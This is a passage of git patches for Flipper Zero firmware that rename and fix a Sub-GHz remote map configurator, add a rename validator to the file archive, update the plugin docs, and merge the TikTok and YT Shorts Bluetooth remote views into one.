applications/external/subghz_remote_configurator/scenes/subrem_scene.c diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene.h b/applications/external/subghz_remote_configurator/scenes/subrem_scene.h similarity index 100% rename from applications/external/subghz_remote_new/scenes/subrem_scene.h rename to applications/external/subghz_remote_configurator/scenes/subrem_scene.h diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_config.h b/applications/external/subghz_remote_configurator/scenes/subrem_scene_config.h similarity index 100% rename from applications/external/subghz_remote_new/scenes/subrem_scene_config.h rename to applications/external/subghz_remote_configurator/scenes/subrem_scene_config.h diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_edit_label.c b/applications/external/subghz_remote_configurator/scenes/subrem_scene_edit_label.c similarity index 100% rename from applications/external/subghz_remote_new/scenes/subrem_scene_edit_label.c rename to applications/external/subghz_remote_configurator/scenes/subrem_scene_edit_label.c diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_edit_menu.c b/applications/external/subghz_remote_configurator/scenes/subrem_scene_edit_menu.c similarity index 100% rename from applications/external/subghz_remote_new/scenes/subrem_scene_edit_menu.c rename to applications/external/subghz_remote_configurator/scenes/subrem_scene_edit_menu.c diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_edit_preview.c b/applications/external/subghz_remote_configurator/scenes/subrem_scene_edit_preview.c similarity index 100% rename from applications/external/subghz_remote_new/scenes/subrem_scene_edit_preview.c rename to applications/external/subghz_remote_configurator/scenes/subrem_scene_edit_preview.c diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_edit_submenu.c b/applications/external/subghz_remote_configurator/scenes/subrem_scene_edit_submenu.c similarity index 100% rename from applications/external/subghz_remote_new/scenes/subrem_scene_edit_submenu.c rename to applications/external/subghz_remote_configurator/scenes/subrem_scene_edit_submenu.c diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_enter_new_name.c b/applications/external/subghz_remote_configurator/scenes/subrem_scene_enter_new_name.c similarity index 100% rename from applications/external/subghz_remote_new/scenes/subrem_scene_enter_new_name.c rename to applications/external/subghz_remote_configurator/scenes/subrem_scene_enter_new_name.c diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_open_map_file.c b/applications/external/subghz_remote_configurator/scenes/subrem_scene_open_map_file.c similarity index 100% rename from applications/external/subghz_remote_new/scenes/subrem_scene_open_map_file.c rename to applications/external/subghz_remote_configurator/scenes/subrem_scene_open_map_file.c diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_open_sub_file.c b/applications/external/subghz_remote_configurator/scenes/subrem_scene_open_sub_file.c similarity index 100% rename from applications/external/subghz_remote_new/scenes/subrem_scene_open_sub_file.c rename to applications/external/subghz_remote_configurator/scenes/subrem_scene_open_sub_file.c diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_start.c b/applications/external/subghz_remote_configurator/scenes/subrem_scene_start.c similarity index 100% rename from applications/external/subghz_remote_new/scenes/subrem_scene_start.c rename to applications/external/subghz_remote_configurator/scenes/subrem_scene_start.c diff --git a/applications/external/subghz_remote_new/subghz_remote_app.c b/applications/external/subghz_remote_configurator/subghz_remote_app.c similarity index 98% rename from applications/external/subghz_remote_new/subghz_remote_app.c rename to applications/external/subghz_remote_configurator/subghz_remote_app.c index e026fe4de..84100a233 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app.c +++ b/applications/external/subghz_remote_configurator/subghz_remote_app.c @@ -28,7 +28,7 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { //FURI_LOG_E(TAG, "Could not create folder %s", SUBREM_APP_FOLDER); } furi_record_close(RECORD_STORAGE); - + /* // Enable power for External CC1101 if it is connected furi_hal_subghz_enable_ext_power(); // Auto switch to internal radio if external radio is not available @@ -39,7 +39,7 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { } furi_hal_power_suppress_charge_enter(); - +*/ app->file_path = furi_string_alloc(); furi_string_set(app->file_path, SUBREM_APP_FOLDER); @@ -125,14 +125,14 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { void subghz_remote_app_free(SubGhzRemoteApp* app) { furi_assert(app); - + /* furi_hal_power_suppress_charge_exit(); // Disable power for External CC1101 if it was enabled and module is connected furi_hal_subghz_disable_ext_power(); // Reinit SPI handles for internal radio / nfc furi_hal_subghz_init_radio_type(SubGhzRadioInternal); - +*/ // Submenu view_dispatcher_remove_view(app->view_dispatcher, SubRemViewIDSubmenu); submenu_free(app->submenu); @@ -183,7 +183,7 @@ void subghz_remote_app_free(SubGhzRemoteApp* app) { free(app); } -int32_t subghz_remote_app(void* p) { +int32_t subghz_remote_config_app(void* p) { UNUSED(p); SubGhzRemoteApp* subghz_remote_app = subghz_remote_app_alloc(); diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.c b/applications/external/subghz_remote_configurator/subghz_remote_app_i.c similarity index 100% rename from applications/external/subghz_remote_new/subghz_remote_app_i.c rename to applications/external/subghz_remote_configurator/subghz_remote_app_i.c diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.h b/applications/external/subghz_remote_configurator/subghz_remote_app_i.h similarity index 100% rename from applications/external/subghz_remote_new/subghz_remote_app_i.h rename to applications/external/subghz_remote_configurator/subghz_remote_app_i.h diff --git a/applications/external/subghz_remote_new/views/edit_menu.c b/applications/external/subghz_remote_configurator/views/edit_menu.c similarity index 100% rename from applications/external/subghz_remote_new/views/edit_menu.c rename to applications/external/subghz_remote_configurator/views/edit_menu.c diff --git a/applications/external/subghz_remote_new/views/edit_menu.h b/applications/external/subghz_remote_configurator/views/edit_menu.h similarity index 100% rename from applications/external/subghz_remote_new/views/edit_menu.h rename to applications/external/subghz_remote_configurator/views/edit_menu.h diff --git a/applications/external/subghz_remote_new/views/remote.c b/applications/external/subghz_remote_configurator/views/remote.c similarity index 100% rename from applications/external/subghz_remote_new/views/remote.c rename to applications/external/subghz_remote_configurator/views/remote.c diff --git a/applications/external/subghz_remote_new/views/remote.h b/applications/external/subghz_remote_configurator/views/remote.h similarity index 100% rename from applications/external/subghz_remote_new/views/remote.h rename to applications/external/subghz_remote_configurator/views/remote.h From 6dc1a0b6e8e8fcc3a35aefbec6277b6586fdb387 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 26 May 2023 19:11:06 +0300 Subject: [PATCH 059/100] rename again --- .../external/subghz_remote_configurator/application.fam | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/external/subghz_remote_configurator/application.fam b/applications/external/subghz_remote_configurator/application.fam index 9b164a093..00dc02697 100644 --- a/applications/external/subghz_remote_configurator/application.fam +++ b/applications/external/subghz_remote_configurator/application.fam @@ -1,6 +1,6 @@ App( appid="subrem_configurator", - name="SubGHz Remote Configurator", + name="Remote Configurator", apptype=FlipperAppType.EXTERNAL, entry_point="subghz_remote_config_app", requires=[ From e6790e50c67b267d2c88aeddf20572db709dfa4f Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 26 May 2023 19:17:27 +0300 Subject: [PATCH 060/100] fix crash --- .../scenes/subrem_scene_open_sub_file.c | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/applications/external/subghz_remote_configurator/scenes/subrem_scene_open_sub_file.c b/applications/external/subghz_remote_configurator/scenes/subrem_scene_open_sub_file.c index 75dc21670..fa7470594 100644 --- a/applications/external/subghz_remote_configurator/scenes/subrem_scene_open_sub_file.c +++ b/applications/external/subghz_remote_configurator/scenes/subrem_scene_open_sub_file.c @@ -11,21 +11,23 @@ SubRemLoadSubState subrem_scene_open_sub_file_dialog(SubGhzRemoteApp* app) { SubRemSubFilePreset* sub = app->map_preset->subs_preset[app->chusen_sub]; - FuriString* temp_file_path = furi_string_alloc_set(sub->file_path); + FuriString* temp_file_path = furi_string_alloc(); + + if(furi_string_empty(sub->file_path)) { + furi_string_set(temp_file_path, SUBGHZ_RAW_FOLDER); + } else { + furi_string_set(sub->file_path, SUBGHZ_RAW_FOLDER); + } SubRemLoadSubState ret = SubRemLoadSubStateNotSet; DialogsFileBrowserOptions browser_options; dialog_file_browser_set_basic_options(&browser_options, SUBGHZ_APP_EXTENSION, &I_sub1_10px); - browser_options.base_path = SUBGHZ_APP_FOLDER; + browser_options.base_path = SUBGHZ_RAW_FOLDER; // Input events and views are managed by file_select - if(!dialog_file_browser_show( - app->dialogs, - temp_file_path, - furi_string_empty(temp_file_path) ? NULL : temp_file_path, - &browser_options)) { + if(!dialog_file_browser_show(app->dialogs, temp_file_path, temp_file_path, &browser_options)) { } else { // Check sub file SubRemSubFilePreset* sub_candidate = subrem_sub_file_preset_alloc(); From c4cba38559e03b85ee6a4b510a74309ae9ad5678 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 26 May 2023 19:18:08 +0300 Subject: [PATCH 061/100] oops --- .../scenes/subrem_scene_open_sub_file.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/external/subghz_remote_configurator/scenes/subrem_scene_open_sub_file.c b/applications/external/subghz_remote_configurator/scenes/subrem_scene_open_sub_file.c index fa7470594..eb438cb92 100644 --- a/applications/external/subghz_remote_configurator/scenes/subrem_scene_open_sub_file.c +++ b/applications/external/subghz_remote_configurator/scenes/subrem_scene_open_sub_file.c @@ -16,7 +16,7 @@ SubRemLoadSubState subrem_scene_open_sub_file_dialog(SubGhzRemoteApp* app) { if(furi_string_empty(sub->file_path)) { furi_string_set(temp_file_path, SUBGHZ_RAW_FOLDER); } else { - furi_string_set(sub->file_path, SUBGHZ_RAW_FOLDER); + furi_string_set(temp_file_path, sub->file_path); } SubRemLoadSubState ret = SubRemLoadSubStateNotSet; From 858ab99cecf11cbf3d662b423b9d3f05406eb2d3 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 26 May 2023 19:21:26 +0300 Subject: [PATCH 062/100] don't put subrem_ in name by default --- .../scenes/subrem_scene_enter_new_name.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/applications/external/subghz_remote_configurator/scenes/subrem_scene_enter_new_name.c b/applications/external/subghz_remote_configurator/scenes/subrem_scene_enter_new_name.c index d33e070af..b829723a3 100644 --- a/applications/external/subghz_remote_configurator/scenes/subrem_scene_enter_new_name.c +++ b/applications/external/subghz_remote_configurator/scenes/subrem_scene_enter_new_name.c @@ -14,9 +14,8 @@ void subrem_scene_enter_new_name_on_enter(void* context) { // Setup view TextInput* text_input = app->text_input; - bool dev_name_empty = false; - strncpy(app->file_name_tmp, "subrem_", SUBREM_MAX_LEN_NAME); + //strncpy(app->file_name_tmp, "subrem_", SUBREM_MAX_LEN_NAME); text_input_set_header_text(text_input, "Map file Name"); text_input_set_result_callback( text_input, @@ -24,7 +23,7 @@ void subrem_scene_enter_new_name_on_enter(void* context) { app, app->file_name_tmp, 25, - dev_name_empty); + false); ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( furi_string_get_cstr(app->file_path), SUBREM_APP_EXTENSION, ""); From 71a2d56ad35236416cb3cf9ce49428962f70fc19 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 26 May 2023 19:29:08 +0300 Subject: [PATCH 063/100] update docs --- documentation/SubGHzRemotePlugin.md | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/documentation/SubGHzRemotePlugin.md b/documentation/SubGHzRemotePlugin.md index fd48eeca2..948d8389d 100644 --- a/documentation/SubGHzRemotePlugin.md +++ b/documentation/SubGHzRemotePlugin.md @@ -1,11 +1,21 @@ # Sub-GHz Remote + +# UPDATE!!!!!! +## Now you can create and edit map files directly on flipper, go into Applications->Sub-GHz->Remote Configurator + +
+
+
+ + ### The SubGHz Remote Tool *requires* the creation of custom user map with `.txt` extension in the `subghz_remote` folder on the sdcard. #### If these files are not exist or not configured properly, **you will receive an error each time you try to select wrong file in the UniRF Tool**. ## You can add as many `.txt` map files as you want, file name doesn't matter! + ## Incorrect or unconfigured file error If the `.txt` file has not been properly configured, the following error will be thrown when trying to run the UniRF Remix app: From 2f35e980ef18b40723151baf4d302758f0080cc0 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 26 May 2023 19:52:43 +0300 Subject: [PATCH 064/100] rename rename --- .../external/subghz_remote_configurator/application.fam | 2 +- documentation/SubGHzRemotePlugin.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/external/subghz_remote_configurator/application.fam b/applications/external/subghz_remote_configurator/application.fam index 00dc02697..f43dbcbd8 100644 --- a/applications/external/subghz_remote_configurator/application.fam +++ b/applications/external/subghz_remote_configurator/application.fam @@ -1,6 +1,6 @@ App( appid="subrem_configurator", - name="Remote Configurator", + name="Remote Maker", apptype=FlipperAppType.EXTERNAL, entry_point="subghz_remote_config_app", requires=[ diff --git a/documentation/SubGHzRemotePlugin.md b/documentation/SubGHzRemotePlugin.md index 948d8389d..cbdc0995b 100644 --- a/documentation/SubGHzRemotePlugin.md +++ b/documentation/SubGHzRemotePlugin.md @@ -2,7 +2,7 @@ # UPDATE!!!!!! -## Now you can create and edit map files directly on flipper, go into Applications->Sub-GHz->Remote Configurator +## Now you can create and edit map files directly on flipper, go into Applications->Sub-GHz->Remote Maker

From 9af6616882ca3f6981fe47f2b79f609637a692a8 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 27 May 2023 13:39:54 +0300 Subject: [PATCH 065/100] Archive, fix rename, show message to user --- .../archive/scenes/archive_scene_rename.c | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/applications/main/archive/scenes/archive_scene_rename.c b/applications/main/archive/scenes/archive_scene_rename.c index 346383162..e6c728f03 100644 --- a/applications/main/archive/scenes/archive_scene_rename.c +++ b/applications/main/archive/scenes/archive_scene_rename.c @@ -22,17 +22,21 @@ void archive_scene_rename_on_enter(void* context) { TextInput* text_input = archive->text_input; ArchiveFile_t* current = archive_get_current_file(archive->browser); - FuriString* path_name; - path_name = furi_string_alloc(); + FuriString* path_name = furi_string_alloc(); + FuriString* path_folder = furi_string_alloc(); if(current->type == ArchiveFileTypeFolder) { + // Set file ext to empty since we need to see folder name here + strcpy(archive->file_extension, ""); + // Extract folder name and copy into text_store path_extract_basename(furi_string_get_cstr(current->path), path_name); strlcpy(archive->text_store, furi_string_get_cstr(path_name), MAX_NAME_LEN); text_input_set_header_text(text_input, "Rename directory:"); } else /*if(current->type != ArchiveFileTypeUnknown) */ { + // Extract file name and copy into text_store path_extract_filename(current->path, path_name, true); strlcpy(archive->text_store, furi_string_get_cstr(path_name), MAX_NAME_LEN); - + // Extract file extension for validator and rename func path_extract_extension(current->path, archive->file_extension, MAX_EXT_LEN); text_input_set_header_text(text_input, "Rename file:"); } /*else { @@ -41,6 +45,9 @@ void archive_scene_rename_on_enter(void* context) { text_input_set_header_text(text_input, "Rename unknown file:"); }*/ + // Get current folder (for file) or previous folder (for folder) for validator + path_extract_dirname(furi_string_get_cstr(current->path), path_folder); + text_input_set_result_callback( text_input, archive_scene_rename_text_input_callback, @@ -49,7 +56,13 @@ void archive_scene_rename_on_enter(void* context) { MAX_TEXT_INPUT_LEN, false); + // Init validator to show message to user that name already exist + ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( + furi_string_get_cstr(path_folder), archive->file_extension, archive->text_store); + text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); + furi_string_free(path_name); + furi_string_free(path_folder); view_dispatcher_switch_to_view(archive->view_dispatcher, ArchiveViewTextInput); } From 6208337f618583cbd62586f6a5d1a623206d0840 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 27 May 2023 16:51:54 +0300 Subject: [PATCH 066/100] Merge tiktok and ytshorts remote into one by @Willy-JL --- applications/external/hid_app/hid.c | 46 +--- applications/external/hid_app/hid.h | 6 +- applications/external/hid_app/views.h | 3 +- .../views/{hid_ytshorts.c => hid_tikshorts.c} | 143 +++++----- .../external/hid_app/views/hid_tikshorts.h | 14 + .../external/hid_app/views/hid_tiktok.c | 256 ------------------ .../external/hid_app/views/hid_tiktok.h | 14 - .../external/hid_app/views/hid_ytshorts.h | 14 - 8 files changed, 102 insertions(+), 394 deletions(-) rename applications/external/hid_app/views/{hid_ytshorts.c => hid_tikshorts.c} (59%) create mode 100644 applications/external/hid_app/views/hid_tikshorts.h delete mode 100644 applications/external/hid_app/views/hid_tiktok.c delete mode 100644 applications/external/hid_app/views/hid_tiktok.h delete mode 100644 applications/external/hid_app/views/hid_ytshorts.h diff --git a/applications/external/hid_app/hid.c b/applications/external/hid_app/hid.c index f4f59b435..28c9ff167 100644 --- a/applications/external/hid_app/hid.c +++ b/applications/external/hid_app/hid.c @@ -11,8 +11,7 @@ enum HidDebugSubmenuIndex { HidSubmenuIndexKeyboard, HidSubmenuIndexNumpad, HidSubmenuIndexMedia, - HidSubmenuIndexTikTok, - HidSubmenuIndexYTShorts, + HidSubmenuIndexTikShorts, HidSubmenuIndexMouse, HidSubmenuIndexMouseClicker, HidSubmenuIndexMouseJiggler, @@ -39,12 +38,9 @@ static void hid_submenu_callback(void* context, uint32_t index) { } else if(index == HidSubmenuIndexMouse) { app->view_id = HidViewMouse; view_dispatcher_switch_to_view(app->view_dispatcher, HidViewMouse); - } else if(index == HidSubmenuIndexTikTok) { - app->view_id = BtHidViewTikTok; - view_dispatcher_switch_to_view(app->view_dispatcher, BtHidViewTikTok); - } else if(index == HidSubmenuIndexYTShorts) { - app->view_id = BtHidViewYTShorts; - view_dispatcher_switch_to_view(app->view_dispatcher, BtHidViewYTShorts); + } else if(index == HidSubmenuIndexTikShorts) { + app->view_id = BtHidViewTikShorts; + view_dispatcher_switch_to_view(app->view_dispatcher, BtHidViewTikShorts); } else if(index == HidSubmenuIndexMouseClicker) { app->view_id = HidViewMouseClicker; view_dispatcher_switch_to_view(app->view_dispatcher, HidViewMouseClicker); @@ -73,8 +69,7 @@ static void bt_hid_connection_status_changed_callback(BtStatus status, void* con hid_mouse_set_connected_status(hid->hid_mouse, connected); hid_mouse_clicker_set_connected_status(hid->hid_mouse_clicker, connected); hid_mouse_jiggler_set_connected_status(hid->hid_mouse_jiggler, connected); - hid_tiktok_set_connected_status(hid->hid_tiktok, connected); - hid_ytshorts_set_connected_status(hid->hid_ytshorts, connected); + hid_tikshorts_set_connected_status(hid->hid_tikshorts, connected); } static void hid_dialog_callback(DialogExResult result, void* context) { @@ -137,14 +132,8 @@ Hid* hid_alloc(HidTransport transport) { if(app->transport == HidTransportBle) { submenu_add_item( app->device_type_submenu, - "TikTok Controller", - HidSubmenuIndexTikTok, - hid_submenu_callback, - app); - submenu_add_item( - app->device_type_submenu, - "YT Shorts Controller", - HidSubmenuIndexYTShorts, + "TikTok / YT Shorts", + HidSubmenuIndexTikShorts, hid_submenu_callback, app); } @@ -215,17 +204,11 @@ Hid* hid_app_alloc_view(void* context) { view_dispatcher_add_view( app->view_dispatcher, HidViewMedia, hid_media_get_view(app->hid_media)); - // TikTok view - app->hid_tiktok = hid_tiktok_alloc(app); - view_set_previous_callback(hid_tiktok_get_view(app->hid_tiktok), hid_exit_confirm_view); + // TikTok / YT Shorts view + app->hid_tikshorts = hid_tikshorts_alloc(app); + view_set_previous_callback(hid_tikshorts_get_view(app->hid_tikshorts), hid_exit_confirm_view); view_dispatcher_add_view( - app->view_dispatcher, BtHidViewTikTok, hid_tiktok_get_view(app->hid_tiktok)); - - // YTShorts view - app->hid_ytshorts = hid_ytshorts_alloc(app); - view_set_previous_callback(hid_ytshorts_get_view(app->hid_ytshorts), hid_exit_confirm_view); - view_dispatcher_add_view( - app->view_dispatcher, BtHidViewYTShorts, hid_ytshorts_get_view(app->hid_ytshorts)); + app->view_dispatcher, BtHidViewTikShorts, hid_tikshorts_get_view(app->hid_tikshorts)); // Mouse view app->hid_mouse = hid_mouse_alloc(app); @@ -241,6 +224,7 @@ Hid* hid_app_alloc_view(void* context) { app->view_dispatcher, HidViewMouseClicker, hid_mouse_clicker_get_view(app->hid_mouse_clicker)); + // Mouse jiggler view app->hid_mouse_jiggler = hid_mouse_jiggler_alloc(app); view_set_previous_callback( @@ -282,10 +266,8 @@ void hid_free(Hid* app) { hid_mouse_clicker_free(app->hid_mouse_clicker); view_dispatcher_remove_view(app->view_dispatcher, HidViewMouseJiggler); hid_mouse_jiggler_free(app->hid_mouse_jiggler); - view_dispatcher_remove_view(app->view_dispatcher, BtHidViewTikTok); - hid_tiktok_free(app->hid_tiktok); - view_dispatcher_remove_view(app->view_dispatcher, BtHidViewYTShorts); - hid_ytshorts_free(app->hid_ytshorts); + view_dispatcher_remove_view(app->view_dispatcher, BtHidViewTikShorts); + hid_tikshorts_free(app->hid_tikshorts); view_dispatcher_free(app->view_dispatcher); // Close records diff --git a/applications/external/hid_app/hid.h b/applications/external/hid_app/hid.h index 1a533de99..4a8cd2a98 100644 --- a/applications/external/hid_app/hid.h +++ b/applications/external/hid_app/hid.h @@ -23,8 +23,7 @@ #include "views/hid_media.h" #include "views/hid_mouse.h" #include "views/hid_mouse_jiggler.h" -#include "views/hid_tiktok.h" -#include "views/hid_ytshorts.h" +#include "views/hid_tikshorts.h" #include "views/hid_mouse_clicker.h" #define HID_BT_KEYS_STORAGE_NAME ".bt_hid.keys" @@ -51,8 +50,7 @@ struct Hid { HidMouse* hid_mouse; HidMouseClicker* hid_mouse_clicker; HidMouseJiggler* hid_mouse_jiggler; - HidTikTok* hid_tiktok; - HidYTShorts* hid_ytshorts; + HidTikShorts* hid_tikshorts; HidTransport transport; uint32_t view_id; diff --git a/applications/external/hid_app/views.h b/applications/external/hid_app/views.h index 2ec17bb33..5d02220cd 100644 --- a/applications/external/hid_app/views.h +++ b/applications/external/hid_app/views.h @@ -8,7 +8,6 @@ typedef enum { HidViewMouse, HidViewMouseClicker, HidViewMouseJiggler, - BtHidViewTikTok, - BtHidViewYTShorts, + BtHidViewTikShorts, HidViewExitConfirm, } HidView; diff --git a/applications/external/hid_app/views/hid_ytshorts.c b/applications/external/hid_app/views/hid_tikshorts.c similarity index 59% rename from applications/external/hid_app/views/hid_ytshorts.c rename to applications/external/hid_app/views/hid_tikshorts.c index 359091640..0e156fdf0 100644 --- a/applications/external/hid_app/views/hid_ytshorts.c +++ b/applications/external/hid_app/views/hid_tikshorts.c @@ -1,12 +1,12 @@ -#include "hid_ytshorts.h" +#include "hid_tikshorts.h" #include "../hid.h" #include #include "hid_icons.h" -#define TAG "HidYTShorts" +#define TAG "HidTikShorts" -struct HidYTShorts { +struct HidTikShorts { View* view; Hid* hid; }; @@ -21,11 +21,11 @@ typedef struct { bool is_cursor_set; bool back_mouse_pressed; HidTransport transport; -} HidYTShortsModel; +} HidTikShortsModel; -static void hid_ytshorts_draw_callback(Canvas* canvas, void* context) { +static void hid_tikshorts_draw_callback(Canvas* canvas, void* context) { furi_assert(context); - HidYTShortsModel* model = context; + HidTikShortsModel* model = context; // Header if(model->transport == HidTransportBle) { @@ -37,7 +37,8 @@ static void hid_ytshorts_draw_callback(Canvas* canvas, void* context) { } canvas_set_font(canvas, FontPrimary); - elements_multiline_text_aligned(canvas, 17, 3, AlignLeft, AlignTop, "Shorts"); + elements_multiline_text_aligned(canvas, 17, 3, AlignLeft, AlignTop, "TikTok /"); + elements_multiline_text_aligned(canvas, 3, 18, AlignLeft, AlignTop, "YT Shorts"); canvas_set_font(canvas, FontSecondary); // Keypad circles @@ -109,22 +110,21 @@ static void hid_ytshorts_draw_callback(Canvas* canvas, void* context) { elements_multiline_text_aligned(canvas, 13, 62, AlignLeft, AlignBottom, "Hold to exit"); } -static void hid_ytshorts_reset_cursor(HidYTShorts* hid_ytshorts) { +static void hid_tikshorts_reset_cursor(HidTikShorts* hid_tikshorts) { // Set cursor to the phone's left up corner // Delays to guarantee one packet per connection interval for(size_t i = 0; i < 8; i++) { - hid_hal_mouse_move(hid_ytshorts->hid, -127, -127); + hid_hal_mouse_move(hid_tikshorts->hid, -127, -127); furi_delay_ms(50); } // Move cursor from the corner - hid_hal_mouse_move(hid_ytshorts->hid, 40, 120); - hid_hal_mouse_move(hid_ytshorts->hid, 0, 120); + hid_hal_mouse_move(hid_tikshorts->hid, 20, 120); furi_delay_ms(50); } -static void hid_ytshorts_process_press( - HidYTShorts* hid_ytshorts, - HidYTShortsModel* model, +static void hid_tikshorts_process_press( + HidTikShorts* hid_tikshorts, + HidTikShortsModel* model, InputEvent* event) { if(event->key == InputKeyUp) { model->up_pressed = true; @@ -132,10 +132,10 @@ static void hid_ytshorts_process_press( model->down_pressed = true; } else if(event->key == InputKeyLeft) { model->left_pressed = true; - hid_hal_consumer_key_press(hid_ytshorts->hid, HID_CONSUMER_VOLUME_DECREMENT); + hid_hal_consumer_key_press(hid_tikshorts->hid, HID_CONSUMER_VOLUME_DECREMENT); } else if(event->key == InputKeyRight) { model->right_pressed = true; - hid_hal_consumer_key_press(hid_ytshorts->hid, HID_CONSUMER_VOLUME_INCREMENT); + hid_hal_consumer_key_press(hid_tikshorts->hid, HID_CONSUMER_VOLUME_INCREMENT); } else if(event->key == InputKeyOk) { model->ok_pressed = true; } else if(event->key == InputKeyBack) { @@ -143,9 +143,9 @@ static void hid_ytshorts_process_press( } } -static void hid_ytshorts_process_release( - HidYTShorts* hid_ytshorts, - HidYTShortsModel* model, +static void hid_tikshorts_process_release( + HidTikShorts* hid_tikshorts, + HidTikShortsModel* model, InputEvent* event) { if(event->key == InputKeyUp) { model->up_pressed = false; @@ -153,10 +153,10 @@ static void hid_ytshorts_process_release( model->down_pressed = false; } else if(event->key == InputKeyLeft) { model->left_pressed = false; - hid_hal_consumer_key_release(hid_ytshorts->hid, HID_CONSUMER_VOLUME_DECREMENT); + hid_hal_consumer_key_release(hid_tikshorts->hid, HID_CONSUMER_VOLUME_DECREMENT); } else if(event->key == InputKeyRight) { model->right_pressed = false; - hid_hal_consumer_key_release(hid_ytshorts->hid, HID_CONSUMER_VOLUME_INCREMENT); + hid_hal_consumer_key_release(hid_tikshorts->hid, HID_CONSUMER_VOLUME_INCREMENT); } else if(event->key == InputKeyOk) { model->ok_pressed = false; } else if(event->key == InputKeyBack) { @@ -164,62 +164,61 @@ static void hid_ytshorts_process_release( } } -static bool hid_ytshorts_input_callback(InputEvent* event, void* context) { +static bool hid_tikshorts_input_callback(InputEvent* event, void* context) { furi_assert(context); - HidYTShorts* hid_ytshorts = context; + HidTikShorts* hid_tikshorts = context; bool consumed = false; with_view_model( - hid_ytshorts->view, - HidYTShortsModel * model, + hid_tikshorts->view, + HidTikShortsModel * model, { if(event->type == InputTypePress) { - hid_ytshorts_process_press(hid_ytshorts, model, event); + hid_tikshorts_process_press(hid_tikshorts, model, event); if(model->connected && !model->is_cursor_set) { - hid_ytshorts_reset_cursor(hid_ytshorts); + hid_tikshorts_reset_cursor(hid_tikshorts); model->is_cursor_set = true; } consumed = true; } else if(event->type == InputTypeRelease) { - hid_ytshorts_process_release(hid_ytshorts, model, event); + hid_tikshorts_process_release(hid_tikshorts, model, event); consumed = true; } else if(event->type == InputTypeShort) { if(event->key == InputKeyOk) { - hid_hal_mouse_press(hid_ytshorts->hid, HID_MOUSE_BTN_LEFT); - furi_delay_ms(50); - hid_hal_mouse_release(hid_ytshorts->hid, HID_MOUSE_BTN_LEFT); - furi_delay_ms(50); - hid_hal_mouse_press(hid_ytshorts->hid, HID_MOUSE_BTN_LEFT); - furi_delay_ms(50); - hid_hal_mouse_release(hid_ytshorts->hid, HID_MOUSE_BTN_LEFT); + hid_hal_mouse_press(hid_tikshorts->hid, HID_MOUSE_BTN_LEFT); + furi_delay_ms(25); + hid_hal_mouse_release(hid_tikshorts->hid, HID_MOUSE_BTN_LEFT); + furi_delay_ms(100); + hid_hal_mouse_press(hid_tikshorts->hid, HID_MOUSE_BTN_LEFT); + furi_delay_ms(25); + hid_hal_mouse_release(hid_tikshorts->hid, HID_MOUSE_BTN_LEFT); consumed = true; } else if(event->key == InputKeyDown) { - // Swipe to new video - hid_hal_mouse_scroll(hid_ytshorts->hid, 6); - hid_hal_mouse_scroll(hid_ytshorts->hid, 8); - hid_hal_mouse_scroll(hid_ytshorts->hid, 10); - hid_hal_mouse_scroll(hid_ytshorts->hid, 8); - hid_hal_mouse_scroll(hid_ytshorts->hid, 6); + // Swipe to next video + hid_hal_mouse_scroll(hid_tikshorts->hid, 6); + hid_hal_mouse_scroll(hid_tikshorts->hid, 8); + hid_hal_mouse_scroll(hid_tikshorts->hid, 10); + hid_hal_mouse_scroll(hid_tikshorts->hid, 8); + hid_hal_mouse_scroll(hid_tikshorts->hid, 6); consumed = true; } else if(event->key == InputKeyUp) { // Swipe to previous video - hid_hal_mouse_scroll(hid_ytshorts->hid, -6); - hid_hal_mouse_scroll(hid_ytshorts->hid, -8); - hid_hal_mouse_scroll(hid_ytshorts->hid, -10); - hid_hal_mouse_scroll(hid_ytshorts->hid, -8); - hid_hal_mouse_scroll(hid_ytshorts->hid, -6); + hid_hal_mouse_scroll(hid_tikshorts->hid, -6); + hid_hal_mouse_scroll(hid_tikshorts->hid, -8); + hid_hal_mouse_scroll(hid_tikshorts->hid, -10); + hid_hal_mouse_scroll(hid_tikshorts->hid, -8); + hid_hal_mouse_scroll(hid_tikshorts->hid, -6); consumed = true; } else if(event->key == InputKeyBack) { // Pause - hid_hal_mouse_press(hid_ytshorts->hid, HID_MOUSE_BTN_LEFT); - furi_delay_ms(50); - hid_hal_mouse_release(hid_ytshorts->hid, HID_MOUSE_BTN_LEFT); + hid_hal_mouse_press(hid_tikshorts->hid, HID_MOUSE_BTN_LEFT); 